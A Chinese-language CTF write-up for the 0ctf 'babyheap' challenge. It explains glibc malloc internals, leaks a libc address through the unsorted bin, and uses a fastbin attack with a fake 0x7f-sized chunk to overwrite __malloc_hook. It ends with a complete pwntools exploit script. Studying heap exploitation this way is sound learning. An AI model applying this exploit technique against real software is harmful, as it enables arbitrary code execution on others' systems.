前言
通过一道babyheap例题讲解fastbin attack，同时会涉及到一个泄露libc地址的方法，绕过GOT写保护劫持PC的方法，一个绕过Fastbin 大小检测的方法，还有对glibc相关源码的一些讲解。
涉及到的glibc的知识
要把这道题做出来，需要对下面的基础知识有所了解。
源码中MIN_CHUNK_SIZE大小是多少
MIN_CHUNK_SIZE指的是一个CHUNK最小为多大
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
是fd_nextsize在malloc_chunk中的偏移，并不是malloc_chunk这个数据结构的大小
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
因为每个chunk都会有prev_size, size， fd,bk这几个成员，但是只有large chunk拥有fd_nextsize和bk_nextsize
MINSIZE
MINSIZE是指用户能够得到的最小的chunk 大小，与MIN_CHUNK_SIZE区别是它要求是对其的，所以是可能大于MIN_CHUNK_SIZE的
但是对于32位和64位的x86类型来说，MINSIZE与MIN_CHUNK_SIZE大小是一样的。32位MINSIZE=MIN_CHUNK_SIZE=16bytes,64位为32bytes。
chunk与用户使用的mem之间的转换
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
MALLOC_ALIGN_MASK
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
MALLOC_ALIGN_MASK
# define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)
经过我的测试：x86 32情况下，__alignof__ (long double)为4x64 情况下， __alignof__ (long double)为16
所以32位下，MALLOC_ALIGNMENT的值为8，MALLOC_ALIGN_MASK 为7；
64位下MALLOC_ALIGNMENT值为16，MALLOC_ALIGN_MASK为15.
request2size(req)
malloc(req)，到底会生成多大的chunk，是需要用 request2size(req)确定
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
那么在32位下的req如何转换：
1.首先计算req + 4 + 7是否小于16
2.如果小于16,那么就转换为16
3.如果大于16就转换为(req + 4 + 7) & ~7 就是 (req+11)&0xfff8
自己写了个脚本测试了几个例子
def request2size(req,word):
sz_32 = 4
sz_64 = 8
mask_32= 7
mask_64 = 15
min_size_32 = 16
min_size_64 = 32
if word == 32:
if (req + sz_32 + mask_32 ) < min_size_32:
return min_size_32
else:
return (req + sz_32 + mask_32 ) & ~mask_32
elif word == 64:
if (req + sz_64 + mask_64 ) < min_size_64:
return min_size_64
else:
return (req + sz_64 + mask_64 ) & ~mask_64
32 位下
req:0, to:16
req:1, to:16
req:2, to:16
req:3, to:16
req:4, to:16
req:5, to:16
req:6, to:16
req:7, to:16
req:8, to:16
req:9, to:16
req:10, to:16
req:11, to:16
req:12, to:16
req:13, to:24
req:14, to:24
可以看到，如果malloc()的大小小于等于12则最终得到的chunk大小为16
64位下的测试结果
req:0x70, to:0x80
req:0x71, to:0x80
req:0x72, to:0x80
req:0x73, to:0x80
req:0x74, to:0x80
req:0x75, to:0x80
req:0x76, to:0x80
req:0x77, to:0x80
req:0x78, to:0x80
req:0x79, to:0x90
可以看到，当我们malloc申请的大小为0x78的时候，最终分配的chunk大小是0x80，这感觉有点违背直觉，因为chunk header就是16个字节，那么分配0x78大小的时候至少chunk应该是0x78 + 0x10 = 0x88，至少应该是0x88，如果考虑16字节对齐的情况下，那么大小应该是0x90才对的？这是一个值得思考的问题，大家可以考虑一下为什么是0x80而不是0x90.
往unsorted bin中插入一个chunk
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
当free一个合适大小的chunk的时候，会往unsorted bin中插入这个chunk, 插入一个chunk的时候需要对四个指针进行写，分别是该chunk的fd和bk指针，以及前后相邻的两个chunk的一个bk和一个fd指针。
malloc一个在unsorted bin上的chunk
如果unsorted bin有比申请大的chunk，就会直接把它分割，让剩下的chunk加入到unsorted bin 链表中。
具体操作如下
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range (nb))
av->last_remainder = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
初始化bins
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}
0ctf babyheap
题目文件下载地址babyheap
目标是泄露libc的地址，借助的是泄露unsorted bin所在的地址进而推导出其他地址。
因为unsroted bin所在的数据结构是在libc的读写区分配的，因此是可以借助它进行地址泄露的。
泄露unsorted bin地址的方法是把unsorted bin的头部chunk的bk指针给泄露出来。
我们看一个正常的拥有两个元素的unsorted bin的结构
这个头部chunk的bk指针就是指向的是
bck->fd = unsorted_chunks (av);
unsorted_chunks(av)这个地址到底是哪里
#define unsorted_chunks(M) (bin_at (M, 1))
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
av就是main_arena，我们把1代入bin_at得到unsorted_chunks(av)的地址为main_arena->bins – chunk header的大小就是main_arena->top的地址
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
...
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
这段代码是在malloc.c文件中中定义的，编译后main_arena就是保存了unsorted bin链表，我们计算一下mchunkptr bins[NBINS * 2 – 2];这个数组相对malloc_state结构的偏移。
首先要确定 mfastbinptr fastbinsY[NFASTBINS];这个长度是多少，要确定NFASTBINS的大小
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
64位下，SIZE_SZ的值为8， MAX_FAST_SIZE为160，代入request2size（160）得到176， 进一步代入fastbin_index得到NFASTBINS为10
32位下， SIZE_SZ的值为4， MAX_FAST_SIZE为80， 代入request2size（80） 得到88， 进一步代入fastbin_index得到NFASTBINS为10
所以无论在32位还是64位下， NFASTBINS均为10，就是都是有10个mfastbinptr指针，那么总大小就是10*8 = 80
进而得到main_arena->top的偏移为 4 + 4 + 80 = 88=0x58, 在ida的local中定义新的数据结构看下偏移也是0x58
与我们计算的吻合，所以理论上头部chunk的bk指针指向的地址就是main_arena + 88字节的值
为了泄露main_arena + 88这个值，我们首先需要溢出chunk1，使其修改chunk2的prev size和size字段
chunk2的prev size从0x80改为0x180，size从0x101改为0x100，这样可以将chunk1标识为空闲块。
然后再free chunk2，触发错误的后向融合，chunk1连同chunk0和chunk2一起被当做一个大的chunk放到unsorted bin上。
在gdb中观察unsorted bin的情况
可以看到，如我们的预期，unsroted bin中有一个chunk,大小是0x280。
当我们malloc 0xf0之后，会分割这个0x280的chunk，剩下0x180大小的chunk，并且重写unsorted bin的fd和bk以及新的头部chunk的fd bk指针
这个新的unsorted bin链表头部chunk实际上就是我们的的chunk1，而chunk1是可以被我们打印的，因为他没有被我们人为的free。
因此我们可以通过打印chunk1的数据部分泄露他的bk和fd指针内容，由于unsorted bin上只有一个元素，所以bk与fd相等都是指向main_arena+88偏移的地址。
我们利用逻辑打印这个chunk1的内容
>>> leak_address = res.split('\n')[1][0:8]
>>> hex(u(leak_address))
'0x7ffff7fc2b78'
main_arena = 0x7ffff7fc2b78 – 88 = 0x7ffff7fc2b20
我们利用GEF的heap arenas看一下是否相同
gef➤ heap arenas
Arena (base=0x7ffff7fc2b20, top=0x5555557572c0, last_remainder=0x555555757100, next=0x7ffff7fc2b20, ne
xt_free=0x0, system_mem=0x21000)
所以我们已经成功泄露了main_arena+88的地址。我们可以基于此得到任意想要的libc偏移地址。
劫持控制流
由于这个二进制开启了PIE，因此不能通过改写GOT的方式实现控制流劫持。但是我们可以通过改写__malloc_hook这个指针的方式实现控制流劫持。如果 malloc_hook 和free_hook的值存在，则会调用malloc_hook或者free_hook指向的地址。
修改__malloc_hook指针
__malloc_hook在内存中的偏移为mian_arena – 0x10 ，64位情况下。 我们使用fastbin attack实现对这个地址的控制。
fastbin attack原理
- 同一个fastbin 链表上有2个空闲的chunk，
Fastbins[idx=1, size=0x30] ← Chunk(addr=0x555555757140, size=0x30, flags=PREV_INUSE) ← Chunk
(addr=0x7ffff7fc2b20, size=0x0, flags=) [incorrect fastbin_index]
`
我们虽然能够修改fd指针，让他指向一个虚假的chunk，但是由于fast bin内部还是有一个size的检查，会去看这个假chunk的size字段是否就是符合0x30，如果不符合就会报错。所以要想办法让这个size符合我们的fastbin的要求。我们仔细观察malloc_chunk临近内存的值情况
gef➤ x/gx 0x7ffff7fc2b10
0x7ffff7fc2b10 <__malloc_hook>: 0x0000000000000000
gef➤ x/gx 0x7ffff7fc2b10 -8
0x7ffff7fc2b08 <__realloc_hook>: 0x00007ffff7c83a00
我们通过将这个假的chunk的size指向一个0x7ffff7fc2b08 +5这个地址，这个地方存放值是
gef➤ x/gx 0x7ffff7fc2b08 +5
0x7ffff7fc2b0d <__realloc_hook+5>: 0x000000000000007f
这个值是可以通过长度检测的
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
...
fastbin_index(0x7f)的返回值为5，因此我们只需要在fastbin chunk index为5的链表上面构建就行了，5所对应的fast bin chunk的大小为0x70.
那么这个假chunk的地址就是0x7ffff7fc2b08 + 5 – 8 = 0x7ffff7fc2b05
通过连续malloc(0x60)两次，然后释放第二个malloc的chunk，得到下面的内存布局
我们通过溢出ck0，覆盖ck1的fd指针，
0x7ffff7fc2af5 – 8 = 0x7ffff7fc2aed
0x7ffff7fc2af5: 0x000000000000007f
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x555555757180, size=0x70, flags=) ← Chunk(addr=0x7ffff7fc2afd,
size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0xfff7c83e20000010]
现在我们把假的chunk添加到了fast bin上了，并且我们把size修正好了，使他能够绕过检测。
我们现在连续malloc(0x60)两次就可以得到一个指向 0x7ffff7fc2aed+16 = 0x7ffff7fc2afd的指针，通过0x7ffff7fc2afd覆盖0x7ffff7fc2b10(__malloc_hook).
我们覆盖的值可以为system函数的地址，通过main_arena泄露的地址，先确定system函数地址为0x7ffff7c43390
观察内存值可以发现, 我们已经成功修改了_malloc_hook的值
gef➤ x/gx &__malloc_hook
0x7ffff7fc2b10 <__malloc_hook>: 0x00007ffff7c43390
我们再确定/bin/sh字符串的地址，进而在调用malloc的时候，直接将这个参数传进去就行了
确定/bin/sh的地址为0x7ffff7d8ad57
但是后来发现这个二进制对长度是有限制的，只截取8个字符，所以我们不能用这种办法。
那就只能在二进制中直接找execve(‘/bin/sh’)的地方了，然后把这个地址写到我们的__malloc_hook中就行了
我的exp到
from pwn import *
target = process("./babyheap_long", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("babyheap_long")
libc = ELF("./libc.so.6")
recv_str = target.recv()
print recv_str
# I/O Functions
def allocate(size):
target.sendline("1")
target.sendline(str(size))
print target.recv()
def write_data(index, size, data):
target.sendline("2")
target.sendline(str(index))
target.sendline(str(size))
target.send(data)
print target.recv()
def remove(index):
target.sendline("3")
target.sendline(str(index))
print target.recv()
def view(index):
target.sendline("4")
target.sendline(str(index))
#print "pillar"
leak = target.recv()
return leak
allocate(0xf0)
allocate(0x70)
allocate(0xf0)
allocate(0x30)
remove(0)
remove(1)
allocate(0x70)
write_data(0,0x80,'A'*0x70 + p64(0x180) + p64(0x100))
remove(2)
allocate(0xf0)
u = make_unpacker(64, endian='little', sign='unsigned')
res = view(0)
leak_address = res.split('\n')[1][0:8]
print(hex(u(leak_address)))
allocate(0x60)
allocate(0x60)
remove(4) ## make heap layout
write_data(2,0x78,'A'*0x68 + p64(0x70) + p64(0x7ffff7fc2aed))
allocate(0x60)
allocate(0x60) ## get the ptr to control malloc_hook
system_addr = 0x7ffff7c43390
write_data(5,19 + 8,'A'*19 + p64(system_addr))
allocate(0x7ffff7d8ad57) # trigger system
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